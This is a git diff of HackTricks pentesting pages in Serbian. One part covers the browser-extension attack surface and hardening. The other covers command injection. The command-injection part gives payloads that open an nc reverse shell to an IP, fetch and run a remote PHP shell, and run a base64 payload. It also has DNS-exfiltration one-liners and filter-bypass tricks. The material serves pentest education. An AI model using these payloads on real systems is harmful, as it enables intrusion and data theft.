||||||
```json
|
```json
|
||||||
"content_scripts": [
|
"content_scripts": [
|
||||||
{
|
{
|
||||||
|
@ -98,9 +101,11 @@ Content skripte se **učitavaju** svaki put kada korisnik **navigira na odgovara
|
||||||
}
|
}
|
||||||
],
|
],
|
||||||
```
|
```
|
||||||
|
|
||||||
Da biste uključili ili isključili više URL-ova, takođe je moguće koristiti **`include_globs`** i **`exclude_globs`**.
|
Da biste uključili ili isključili više URL-ova, takođe je moguće koristiti **`include_globs`** i **`exclude_globs`**.
|
||||||
|
|
||||||
Ovo je primer skripte sadržaja koja će dodati dugme za objašnjenje na stranici kada [API za skladištenje](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/storage) koristi se za dobijanje vrednosti `message` iz skladišta proširenja.
|
Ovo je primer skripte sadržaja koja će dodati dugme za objašnjenje na stranici kada [API za skladištenje](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/storage) koristi se za dobijanje vrednosti `message` iz skladišta proširenja.
|
||||||
|
|
||||||
```js
|
```js
|
||||||
chrome.storage.local.get("message", result =>
|
chrome.storage.local.get("message", result =>
|
||||||
{
|
{
|
||||||
|
@ -113,12 +118,13 @@ chrome.runtime.sendMessage("explain");
|
||||||
document.body.appendChild(div);
|
document.body.appendChild(div);
|
||||||
});
|
});
|
||||||
```
|
```
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (7).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (7).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Kada se klikne na ovaj dugme, sadržajni skript šalje poruku stranicama proširenja, korišćenjem [**API-ja runtime.sendMessage()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/sendMessage). Ovo je zbog ograničenja sadržajnog skripta u direktnom pristupu API-ima, pri čemu je `storage` među retkim izuzecima. Za funkcionalnosti van ovih izuzetaka, poruke se šalju stranicama proširenja sa kojima sadržajni skriptovi mogu komunicirati.
|
Kada se klikne na ovaj dugme, sadržajni skript šalje poruku stranicama proširenja, korišćenjem [**API-ja runtime.sendMessage()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/sendMessage). Ovo je zbog ograničenja sadržajnog skripta u direktnom pristupu API-ima, pri čemu je `storage` među retkim izuzecima. Za funkcionalnosti van ovih izuzetaka, poruke se šalju stranicama proširenja sa kojima sadržajni skriptovi mogu komunicirati.
|
||||||
|
|
||||||
{% hint style="warning" %}
|
{% hint style="warning" %}
|
||||||
Zavisno od pretraživača, mogućnosti sadržajnog skripta mogu se malo razlikovati. Za pretraživače zasnovane na Chromium-u, lista mogućnosti dostupna je u [Chrome Developers dokumentaciji](https://developer.chrome.com/docs/extensions/mv3/content_scripts/#capabilities), a za Firefox, [MDN](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Content_scripts#webextension_apis) služi kao primarni izvor.\
|
Zavisno od pretraživača, mogućnosti sadržajnog skripta mogu se malo razlikovati. Za pretraživače zasnovane na Chromium-u, lista mogućnosti dostupna je u [Chrome Developers dokumentaciji](https://developer.chrome.com/docs/extensions/mv3/content\_scripts/#capabilities), a za Firefox, [MDN](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Content\_scripts#webextension\_apis) služi kao primarni izvor.\
|
||||||
Takođe je važno napomenuti da sadržajni skriptovi imaju mogućnost komunikacije sa pozadinskim skriptovima, omogućavajući im da izvrše radnje i prenesu odgovore nazad.
|
Takođe je važno napomenuti da sadržajni skriptovi imaju mogućnost komunikacije sa pozadinskim skriptovima, omogućavajući im da izvrše radnje i prenesu odgovore nazad.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
|
@ -156,6 +162,7 @@ Za programatsko ubacivanje sadržajnog skripta, proširenju je potrebno imati [d
|
||||||
{% endcode %}
|
{% endcode %}
|
||||||
|
|
||||||
* **Ubacivanje JS datoteke prilikom klika:**
|
* **Ubacivanje JS datoteke prilikom klika:**
|
||||||
|
|
||||||
```javascript
|
```javascript
|
||||||
// content-script.js
|
// content-script.js
|
||||||
document.body.style.backgroundColor = "orange";
|
document.body.style.backgroundColor = "orange";
|
||||||
|
@ -168,7 +175,9 @@ files: ["content-script.js"]
|
||||||
});
|
});
|
||||||
});
|
});
|
||||||
```
|
```
|
||||||
|
|
||||||
* **Umetni funkciju** prilikom klika:
|
* **Umetni funkciju** prilikom klika:
|
||||||
|
|
||||||
```javascript
|
```javascript
|
||||||
//service-worker.js - Inject a function
|
//service-worker.js - Inject a function
|
||||||
function injectedFunction() {
|
function injectedFunction() {
|
||||||
|
@ -182,7 +191,9 @@ func : injectedFunction,
|
||||||
});
|
});
|
||||||
});
|
});
|
||||||
```
|
```
|
||||||
|
|
||||||
#### Primer sa dozvolama za skriptovanje
|
#### Primer sa dozvolama za skriptovanje
|
||||||
|
|
||||||
```javascript
|
```javascript
|
||||||
// service-workser.js
|
// service-workser.js
|
||||||
chrome.scripting.registerContentScripts([{
|
chrome.scripting.registerContentScripts([{
|
||||||
|
@ -195,6 +206,7 @@ js : [ "contentScript.js" ],
|
||||||
// Another example
|
// Another example
|
||||||
chrome.tabs.executeScript(tabId, { file: "content_script.js" });
|
chrome.tabs.executeScript(tabId, { file: "content_script.js" });
|
||||||
```
|
```
|
||||||
|
|
||||||
### Uključivanje ili isključivanje dodatnih URL-ova takođe je moguće koristiti **`include_globs`** i **`exclude_globs`**.
|
### Uključivanje ili isključivanje dodatnih URL-ova takođe je moguće koristiti **`include_globs`** i **`exclude_globs`**.
|
||||||
|
|
||||||
### Skripte sadržaja `run_at`
|
### Skripte sadržaja `run_at`
|
||||||
|
@ -208,6 +220,7 @@ Moguće vrednosti su:
|
||||||
* **`document_end`**: Odmah nakon što je DOM kompletiran, ali pre nego što su se učitali podresursi poput slika i frejmova.
|
* **`document_end`**: Odmah nakon što je DOM kompletiran, ali pre nego što su se učitali podresursi poput slika i frejmova.
|
||||||
|
|
||||||
#### Putem `manifest.json`
|
#### Putem `manifest.json`
|
||||||
|
|
||||||
```json
|
```json
|
||||||
{
|
{
|
||||||
"name": "My extension",
|
"name": "My extension",
|
||||||
|
@ -223,7 +236,9 @@ Moguće vrednosti su:
|
||||||
}
|
}
|
||||||
|
|
||||||
```
|
```
|
||||||
|
|
||||||
Preko **`service-worker.js`**
|
Preko **`service-worker.js`**
|
||||||
|
|
||||||
```javascript
|
```javascript
|
||||||
chrome.scripting.registerContentScripts([{
|
chrome.scripting.registerContentScripts([{
|
||||||
id : "test",
|
id : "test",
|
||||||
|
@ -232,6 +247,7 @@ runAt : "document_idle",
|
||||||
js : [ "contentScript.js" ],
|
js : [ "contentScript.js" ],
|
||||||
}]);
|
}]);
|
||||||
```
|
```
|
||||||
|
|
||||||
### `pozadina`
|
### `pozadina`
|
||||||
|
|
||||||
Poruke poslate od strane skriptova sadržaja primaju se od strane **pozadinske stranice**, koja ima centralnu ulogu u koordinaciji komponenti proširenja. Posebno, pozadinska stranica perzistira tokom trajanja proširenja, delujući diskretno bez direktnog korisničkog interakcije. Poseduje svoj Document Object Model (DOM), omogućavajući kompleksne interakcije i upravljanje stanjem.
|
Poruke poslate od strane skriptova sadržaja primaju se od strane **pozadinske stranice**, koja ima centralnu ulogu u koordinaciji komponenti proširenja. Posebno, pozadinska stranica perzistira tokom trajanja proširenja, delujući diskretno bez direktnog korisničkog interakcije. Poseduje svoj Document Object Model (DOM), omogućavajući kompleksne interakcije i upravljanje stanjem.
|
||||||
|
@ -247,6 +263,7 @@ Praktičnost koju pruža pretraživač u automatskom generisanju pozadinske stra
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
Primer pozadinske skripte:
|
Primer pozadinske skripte:
|
||||||
|
|
||||||
```js
|
```js
|
||||||
chrome.runtime.onMessage.addListener((request, sender, sendResponse) =>
|
chrome.runtime.onMessage.addListener((request, sender, sendResponse) =>
|
||||||
{
|
{
|
||||||
|
@ -256,11 +273,12 @@ chrome.tabs.create({ url: "https://example.net/explanation" });
|
||||||
}
|
}
|
||||||
})
|
})
|
||||||
```
|
```
|
||||||
|
|
||||||
Koristi [runtime.onMessage API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/onMessage) da bi osluškivao poruke. Kada primi poruku `"explain"`, koristi [tabs API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs) da otvori stranicu u novom tabu.
|
Koristi [runtime.onMessage API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/onMessage) da bi osluškivao poruke. Kada primi poruku `"explain"`, koristi [tabs API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs) da otvori stranicu u novom tabu.
|
||||||
|
|
||||||
Za debagovanje pozadinskog skripta možete otvoriti **detalje proširenja i inspekciju servisnog radnika**, što će otvoriti alatke za razvoj sa pozadinskim skriptom:
|
Za debagovanje pozadinskog skripta možete otvoriti **detalje proširenja i inspekciju servisnog radnika**, što će otvoriti alatke za razvoj sa pozadinskim skriptom:
|
||||||
|
|
||||||
<figure><img src="broken-reference" alt=""><figcaption></figcaption></figure>
|
<figure><img src="https://github.com/carlospolop/hacktricks/blob/rs/pentesting-web/browser-extension-pentesting-methodology/broken-reference" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
### Stranice sa opcijama i ostalo
|
### Stranice sa opcijama i ostalo
|
||||||
|
|
||||||
|
@ -294,9 +312,11 @@ Proverite kako ove postavke funkcionišu i kako mogu biti zloupotrebljene u:
|
||||||
**Politika bezbednosti sadržaja** takođe može biti deklarisana unutar `manifest.json`. Ako je definisana, može biti **ranjiva**.
|
**Politika bezbednosti sadržaja** takođe može biti deklarisana unutar `manifest.json`. Ako je definisana, može biti **ranjiva**.
|
||||||
|
|
||||||
Podrazumevana postavka za stranice browser proširenja je prilično restriktivna:
|
Podrazumevana postavka za stranice browser proširenja je prilično restriktivna:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
script-src 'self'; object-src 'self';
|
script-src 'self'; object-src 'self';
|
||||||
```
|
```
|
||||||
|
|
||||||
Za više informacija o CSP i potencijalnim obilascima proverite:
|
Za više informacija o CSP i potencijalnim obilascima proverite:
|
||||||
|
|
||||||
{% content-ref url="../content-security-policy-csp-bypass/" %}
|
{% content-ref url="../content-security-policy-csp-bypass/" %}
|
||||||
|
@ -307,6 +327,7 @@ Za više informacija o CSP i potencijalnim obilascima proverite:
|
||||||
|
|
||||||
da bi veb stranica mogla da pristupi stranici Browser Extension-a, na primer `.html` stranici, ova stranica mora biti navedena u polju **`web_accessible_resources`** u `manifest.json` fajlu.\
|
da bi veb stranica mogla da pristupi stranici Browser Extension-a, na primer `.html` stranici, ova stranica mora biti navedena u polju **`web_accessible_resources`** u `manifest.json` fajlu.\
|
||||||
Na primer:
|
Na primer:
|
||||||
|
|
||||||
```javascript
|
```javascript
|
||||||
{
|
{
|
||||||
...
|
...
|
||||||
|
@ -323,10 +344,13 @@ Na primer:
|
||||||
...
|
...
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
|
|
||||||
Ove stranice su dostupne na URL-u poput:
|
Ove stranice su dostupne na URL-u poput:
|
||||||
|
|
||||||
```
|
```
|
||||||
chrome-extension://<extension-id>/message.html
|
chrome-extension://<extension-id>/message.html
|
||||||
```
|
```
|
||||||
|
|
||||||
U javnim proširenjima **id proširenja je dostupno**:
|
U javnim proširenjima **id proširenja je dostupno**:
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (722).png" alt="" width="375"><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (722).png" alt="" width="375"><figcaption></figcaption></figure>
|
||||||
|
@ -350,11 +374,13 @@ Prema [**dokumentaciji**](https://developer.chrome.com/docs/extensions/reference
|
||||||
* Ako **ključ `externally_connectable`** nije deklarisan u manifestu vašeg proširenja ili je deklarisan kao **`"ids": ["*"]`**, **sva proširenja mogu da se povežu, ali nijedna web stranica ne može da se poveže**.
|
* Ako **ključ `externally_connectable`** nije deklarisan u manifestu vašeg proširenja ili je deklarisan kao **`"ids": ["*"]`**, **sva proširenja mogu da se povežu, ali nijedna web stranica ne može da se poveže**.
|
||||||
* Ako su navedeni **specifični ID-jevi**, kao u `"ids": ["aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"]`, **samo te aplikacije** mogu da se povežu.
|
* Ako su navedeni **specifični ID-jevi**, kao u `"ids": ["aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"]`, **samo te aplikacije** mogu da se povežu.
|
||||||
* Ako su navedeni **odgovarajući uslovi**, te veb aplikacije će moći da se povežu:
|
* Ako su navedeni **odgovarajući uslovi**, te veb aplikacije će moći da se povežu:
|
||||||
|
|
||||||
```json
|
```json
|
||||||
"matches": [
|
"matches": [
|
||||||
"https://*.google.com/*",
|
"https://*.google.com/*",
|
||||||
"*://*.chromium.org/*",
|
"*://*.chromium.org/*",
|
||||||
```
|
```
|
||||||
|
|
||||||
* Ako je navedeno kao prazno: **`"externally_connectable": {}`**, nijedna aplikacija ili veb stranica neće moći da se poveže.
|
* Ako je navedeno kao prazno: **`"externally_connectable": {}`**, nijedna aplikacija ili veb stranica neće moći da se poveže.
|
||||||
|
|
||||||
Što je manje ekstenzija i URL-ova navedeno ovde, to će površina napada biti manja.
|
Što je manje ekstenzija i URL-ova navedeno ovde, to će površina napada biti manja.
|
||||||
|
@ -449,6 +475,7 @@ Content skripta može koristiti funkcije [**runtime.sendMessage()**](https://dev
|
||||||
Za rukovanje **odgovorom**, koristite vraćeni **Promise**. Iako, radi kompatibilnosti unazad, i dalje možete proslediti **callback** kao poslednji argument.
|
Za rukovanje **odgovorom**, koristite vraćeni **Promise**. Iako, radi kompatibilnosti unazad, i dalje možete proslediti **callback** kao poslednji argument.
|
||||||
|
|
||||||
Slanje zahteva iz **content skripte** izgleda ovako:
|
Slanje zahteva iz **content skripte** izgleda ovako:
|
||||||
|
|
||||||
```javascript
|
```javascript
|
||||||
(async () => {
|
(async () => {
|
||||||
const response = await chrome.runtime.sendMessage({greeting: "hello"});
|
const response = await chrome.runtime.sendMessage({greeting: "hello"});
|
||||||
|
@ -456,7 +483,9 @@ const response = await chrome.runtime.sendMessage({greeting: "hello"});
|
||||||
console.log(response);
|
console.log(response);
|
||||||
})();
|
})();
|
||||||
```
|
```
|
||||||
|
|
||||||
Slanje zahteva iz **proširenja** (obično **pozadinskog skripta**) Skript sadržaja može koristiti funkcije, osim što morate navesti na koji tab da ga pošaljete. Primer kako poslati poruku skriptu sadržaja na izabranom tabu:
|
Slanje zahteva iz **proširenja** (obično **pozadinskog skripta**) Skript sadržaja može koristiti funkcije, osim što morate navesti na koji tab da ga pošaljete. Primer kako poslati poruku skriptu sadržaja na izabranom tabu:
|
||||||
|
|
||||||
```javascript
|
```javascript
|
||||||
// From https://stackoverflow.com/questions/36153999/how-to-send-a-message-between-chrome-extension-popup-and-content-script
|
// From https://stackoverflow.com/questions/36153999/how-to-send-a-message-between-chrome-extension-popup-and-content-script
|
||||||
(async () => {
|
(async () => {
|
||||||
|
@ -466,7 +495,9 @@ const response = await chrome.tabs.sendMessage(tab.id, {greeting: "hello"});
|
||||||
console.log(response);
|
console.log(response);
|
||||||
})();
|
})();
|
||||||
```
|
```
|
||||||
|
|
||||||
Na **primalacu**, treba da postavite [**runtime.onMessage**](https://developer.chrome.com/docs/extensions/reference/runtime#event-onMessage) **slušaoca događaja** da biste obradili poruku. Ovo izgleda isto iz sadržajnog skripta ili stranice proširenja.
|
Na **primalacu**, treba da postavite [**runtime.onMessage**](https://developer.chrome.com/docs/extensions/reference/runtime#event-onMessage) **slušaoca događaja** da biste obradili poruku. Ovo izgleda isto iz sadržajnog skripta ili stranice proširenja.
|
||||||
|
|
||||||
```javascript
|
```javascript
|
||||||
// From https://stackoverflow.com/questions/70406787/javascript-send-message-from-content-js-to-background-js
|
// From https://stackoverflow.com/questions/70406787/javascript-send-message-from-content-js-to-background-js
|
||||||
chrome.runtime.onMessage.addListener(
|
chrome.runtime.onMessage.addListener(
|
||||||
|
@ -479,6 +510,7 @@ sendResponse({farewell: "goodbye"});
|
||||||
}
|
}
|
||||||
);
|
);
|
||||||
```
|
```
|
||||||
|
|
||||||
U prikazanom primeru, **`sendResponse()`** je izvršen sinhrono. Da biste izmenili `onMessage` događajni rukovalac za asinhrono izvršavanje `sendResponse()`, imperativno je uključiti `return true;`.
|
U prikazanom primeru, **`sendResponse()`** je izvršen sinhrono. Da biste izmenili `onMessage` događajni rukovalac za asinhrono izvršavanje `sendResponse()`, imperativno je uključiti `return true;`.
|
||||||
|
|
||||||
Važno je imati na umu da u scenarijima gde je više stranica postavljeno da primaju `onMessage` događaje, **prva stranica koja izvrši `sendResponse()`** za određeni događaj će biti jedina sposobna da efikasno dostavi odgovor. Svi naknadni odgovori na isti događaj neće biti uzeti u obzir.
|
Važno je imati na umu da u scenarijima gde je više stranica postavljeno da primaju `onMessage` događaje, **prva stranica koja izvrši `sendResponse()`** za određeni događaj će biti jedina sposobna da efikasno dostavi odgovor. Svi naknadni odgovori na isti događaj neće biti uzeti u obzir.
|
||||||
|
@ -503,11 +535,13 @@ Izvorni kod Chrome proširenja može se preuzeti kao ZIP datoteka korišćenjem
|
||||||
|
|
||||||
1. Zamenite `"extension_id"` sa stvarnim ID-om proširenja.
|
1. Zamenite `"extension_id"` sa stvarnim ID-om proširenja.
|
||||||
2. Izvršite sledeće komande:
|
2. Izvršite sledeće komande:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
extension_id=your_extension_id # Replace with the actual extension ID
|
extension_id=your_extension_id # Replace with the actual extension ID
|
||||||
curl -L -o "$extension_id.zip" "https://clients2.google.com/service/update2/crx?response=redirect&os=mac&arch=x86-64&nacl_arch=x86-64&prod=chromecrx&prodchannel=stable&prodversion=44.0.2403.130&x=id%3D$extension_id%26uc"
|
curl -L -o "$extension_id.zip" "https://clients2.google.com/service/update2/crx?response=redirect&os=mac&arch=x86-64&nacl_arch=x86-64&prod=chromecrx&prodchannel=stable&prodversion=44.0.2403.130&x=id%3D$extension_id%26uc"
|
||||||
unzip -d "$extension_id-source" "$extension_id.zip"
|
unzip -d "$extension_id-source" "$extension_id.zip"
|
||||||
```
|
```
|
||||||
|
|
||||||
### Koristite veb sajt CRX Viewer
|
### Koristite veb sajt CRX Viewer
|
||||||
|
|
||||||
[https://robwu.nl/crxviewer/](https://robwu.nl/crxviewer/)
|
[https://robwu.nl/crxviewer/](https://robwu.nl/crxviewer/)
|
||||||
|
@ -543,17 +577,17 @@ Iako Browser ekstenzije imaju **ograničenu površinu napada**, neke od njih mog
|
||||||
|
|
||||||
* [ ] **Ograničite** što je više moguće tražene **`dozvole`**
|
* [ ] **Ograničite** što je više moguće tražene **`dozvole`**
|
||||||
* [ ] **Ograničite** što je više moguće **`host_permissions`**
|
* [ ] **Ograničite** što je više moguće **`host_permissions`**
|
||||||
* Koristite **jak** **`content_security_policy`**
|
* [ ] Koristite **jak** **`content_security_policy`**
|
||||||
* [ ] **Ograničite** što je više moguće **`externally_connectable`**, ako nije potrebno i moguće, ne ostavljajte ga podrazumevano, specificirajte **`{}`**
|
* [ ] **Ograničite** što je više moguće **`externally_connectable`**, ako nije potrebno i moguće, ne ostavljajte ga podrazumevano, specificirajte **`{}`**
|
||||||
* Ako je ovde naveden **URL ranjiv na XSS ili preuzimanje kontrole**, napadač će moći **slati poruke direktno skriptovima pozadine**. Veoma moćan zaobilazak.
|
* [ ] Ako je ovde naveden **URL ranjiv na XSS ili preuzimanje kontrole**, napadač će moći **slati poruke direktno skriptovima pozadine**. Veoma moćan zaobilazak.
|
||||||
* [ ] **Ograničite** što je više moguće **`web_accessible_resources`**, čak i prazno ako je moguće.
|
* [ ] **Ograničite** što je više moguće **`web_accessible_resources`**, čak i prazno ako je moguće.
|
||||||
* Ako **`web_accessible_resources`** nije ništa, proverite [**ClickJacking**](browext-clickjacking.md)
|
* [ ] Ako **`web_accessible_resources`** nije ništa, proverite [**ClickJacking**](browext-clickjacking.md)
|
||||||
* Ako se vrši bilo kakva **komunikacija** između **ekstenzije** i **veb stranice**, [**proverite XSS**](browext-xss-example.md) **ranjivosti** izazvane u komunikaciji.
|
* [ ] Ako se vrši bilo kakva **komunikacija** između **ekstenzije** i **veb stranice**, [**proverite XSS**](browext-xss-example.md) **ranjivosti** izazvane u komunikaciji.
|
||||||
* Ako se koriste Post poruke, proverite [**Post Message ranjivosti**](../postmessage-vulnerabilities/)**.**
|
* [ ] Ako se koriste Post poruke, proverite [**Post Message ranjivosti**](../postmessage-vulnerabilities/)**.**
|
||||||
* Ako **Content Script pristupa detaljima DOM-a**, proverite da li oni **ne uvode XSS** ako ih veb **modifikuje**
|
* [ ] Ako **Content Script pristupa detaljima DOM-a**, proverite da li oni **ne uvode XSS** ako ih veb **modifikuje**
|
||||||
* Posebno obratite pažnju ako je ova komunikacija takođe uključena u **komunikaciju Content Script -> Skripta pozadine**
|
* [ ] Posebno obratite pažnju ako je ova komunikacija takođe uključena u **komunikaciju Content Script -> Skripta pozadine**
|
||||||
* **Osetljive informacije ne bi trebalo da se čuvaju** unutar koda Browser Ekstenzije
|
* [ ] **Osetljive informacije ne bi trebalo da se čuvaju** unutar koda Browser Ekstenzije
|
||||||
* **Osetljive informacije ne bi trebalo da se čuvaju** unutar memorije Browser Ekstenzije
|
* [ ] **Osetljive informacije ne bi trebalo da se čuvaju** unutar memorije Browser Ekstenzije
|
||||||
|
|
||||||
## Alati
|
## Alati
|
||||||
|
|
||||||
|
@ -604,6 +638,7 @@ Projekat Neto je Python 3 paket osmišljen za analizu i otkrivanje skrivenih fun
|
||||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Druge načine podrške HackTricks-a:
|
Druge načine podrške HackTricks-a:
|
||||||
|
|
||||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJEM**](https://github.com/sponsors/carlospolop)!
|
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJEM**](https://github.com/sponsors/carlospolop)!
|
||||||
* Nabavite [**zvanični PEASS & HackTricks suvenir**](https://peass.creator-spring.com)
|
* Nabavite [**zvanični PEASS & HackTricks suvenir**](https://peass.creator-spring.com)
|
||||||
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||||
|
|
|
@ -30,6 +30,7 @@ Dobijte pristup danas:
|
||||||
Zavisno o **gde se vaš unos ubacuje** možda ćete morati da **završite citirani kontekst** (koristeći `"` ili `'`) pre komandi.
|
Zavisno o **gde se vaš unos ubacuje** možda ćete morati da **završite citirani kontekst** (koristeći `"` ili `'`) pre komandi.
|
||||||
|
|
||||||
## Komandna Injekcija/Izvršenje
|
## Komandna Injekcija/Izvršenje
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
#Both Unix and Windows supported
|
#Both Unix and Windows supported
|
||||||
ls||id; ls ||id; ls|| id; ls || id # Execute both
|
ls||id; ls ||id; ls|| id; ls || id # Execute both
|
||||||
|
@ -48,21 +49,25 @@ ls${LS_COLORS:10:1}${IFS}id # Might be useful
|
||||||
> /var/www/html/out.txt #Try to redirect the output to a file
|
> /var/www/html/out.txt #Try to redirect the output to a file
|
||||||
< /etc/passwd #Try to send some input to the command
|
< /etc/passwd #Try to send some input to the command
|
||||||
```
|
```
|
||||||
|
|
||||||
### **Bypass-ovi ograničenja**
|
### **Bypass-ovi ograničenja**
|
||||||
|
|
||||||
Ako pokušavate da izvršite **proizvoljne komande unutar Linux mašine** biće vam interesantno pročitati ove **Bypass-ove:**
|
Ako pokušavate da izvršite **proizvoljne komande unutar Linux mašine** biće vam interesantno pročitati ove **Bypass-ove:**
|
||||||
|
|
||||||
{% content-ref url="../linux-hardening/useful-linux-commands/bypass-bash-restrictions.md" %}
|
{% content-ref url="../linux-hardening/bypass-bash-restrictions/" %}
|
||||||
[bypass-bash-restrictions.md](../linux-hardening/useful-linux-commands/bypass-bash-restrictions.md)
|
[bypass-bash-restrictions](../linux-hardening/bypass-bash-restrictions/)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
```
|
```
|
||||||
vuln=127.0.0.1 %0a wget https://web.es/reverse.txt -O /tmp/reverse.php %0a php /tmp/reverse.php
|
vuln=127.0.0.1 %0a wget https://web.es/reverse.txt -O /tmp/reverse.php %0a php /tmp/reverse.php
|
||||||
vuln=127.0.0.1%0anohup nc -e /bin/bash 51.15.192.49 80
|
vuln=127.0.0.1%0anohup nc -e /bin/bash 51.15.192.49 80
|
||||||
vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod 744 /tmp/pay; /tmp/pay
|
vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod 744 /tmp/pay; /tmp/pay
|
||||||
```
|
```
|
||||||
|
|
||||||
### Parametri
|
### Parametri
|
||||||
|
|
||||||
Evo 25 najvažnijih parametara koji bi mogli biti ranjivi na ubacivanje koda i slične ranjivosti RCE (iz [linka](https://twitter.com/trbughunters/status/1283133356922884096)):
|
Evo 25 najvažnijih parametara koji bi mogli biti ranjivi na ubacivanje koda i slične ranjivosti RCE (iz [linka](https://twitter.com/trbughunters/status/1283133356922884096)):
|
||||||
|
|
||||||
```
|
```
|
||||||
?cmd={payload}
|
?cmd={payload}
|
||||||
?exec={payload}
|
?exec={payload}
|
||||||
|
@ -90,9 +95,11 @@ Evo 25 najvažnijih parametara koji bi mogli biti ranjivi na ubacivanje koda i s
|
||||||
?run={payload}
|
?run={payload}
|
||||||
?print={payload}
|
?print={payload}
|
||||||
```
|
```
|
||||||
|
|
||||||
### Izvlačenje podataka zasnovano na vremenu
|
### Izvlačenje podataka zasnovano na vremenu
|
||||||
|
|
||||||
Izvlačenje podataka: po karakteru
|
Izvlačenje podataka: po karakteru
|
||||||
|
|
||||||
```
|
```
|
||||||
swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
|
swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
|
||||||
real 0m5.007s
|
real 0m5.007s
|
||||||
|
@ -104,9 +111,11 @@ real 0m0.002s
|
||||||
user 0m0.000s
|
user 0m0.000s
|
||||||
sys 0m0.000s
|
sys 0m0.000s
|
||||||
```
|
```
|
||||||
|
|
||||||
### DNS bazirano izvlačenje podataka
|
### DNS bazirano izvlačenje podataka
|
||||||
|
|
||||||
Zasnovano na alatu sa `https://github.com/HoLyVieR/dnsbin` takođe hostovanom na dnsbin.zhack.ca
|
Zasnovano na alatu sa `https://github.com/HoLyVieR/dnsbin` takođe hostovanom na dnsbin.zhack.ca
|
||||||
|
|
||||||
```
|
```
|
||||||
1. Go to http://dnsbin.zhack.ca/
|
1. Go to http://dnsbin.zhack.ca/
|
||||||
2. Execute a simple 'ls'
|
2. Execute a simple 'ls'
|
||||||
|
@ -116,6 +125,7 @@ for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
|
||||||
```
|
```
|
||||||
$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)
|
$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)
|
||||||
```
|
```
|
||||||
|
|
||||||
Online alati za proveru DNS bazirane eksfiltracije podataka:
|
Online alati za proveru DNS bazirane eksfiltracije podataka:
|
||||||
|
|
||||||
* dnsbin.zhack.ca
|
* dnsbin.zhack.ca
|
||||||
|
@ -124,14 +134,16 @@ Online alati za proveru DNS bazirane eksfiltracije podataka:
|
||||||
### Bypass filtriranja
|
### Bypass filtriranja
|
||||||
|
|
||||||
#### Windows
|
#### Windows
|
||||||
|
|
||||||
```
|
```
|
||||||
powershell C:**2\n??e*d.*? # notepad
|
powershell C:**2\n??e*d.*? # notepad
|
||||||
@^p^o^w^e^r^shell c:**32\c*?c.e?e # calc
|
@^p^o^w^e^r^shell c:**32\c*?c.e?e # calc
|
||||||
```
|
```
|
||||||
|
|
||||||
#### Linux
|
#### Linux
|
||||||
|
|
||||||
{% content-ref url="../linux-hardening/useful-linux-commands/bypass-bash-restrictions.md" %}
|
{% content-ref url="../linux-hardening/bypass-bash-restrictions/" %}
|
||||||
[bypass-bash-restrictions.md](../linux-hardening/useful-linux-commands/bypass-bash-restrictions.md)
|
[bypass-bash-restrictions](../linux-hardening/bypass-bash-restrictions/)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
## Lista otkrivanja Brute-Force napada
|
## Lista otkrivanja Brute-Force napada
|
||||||
|
|
|
@ -1,4 +1,4 @@
|
||||||
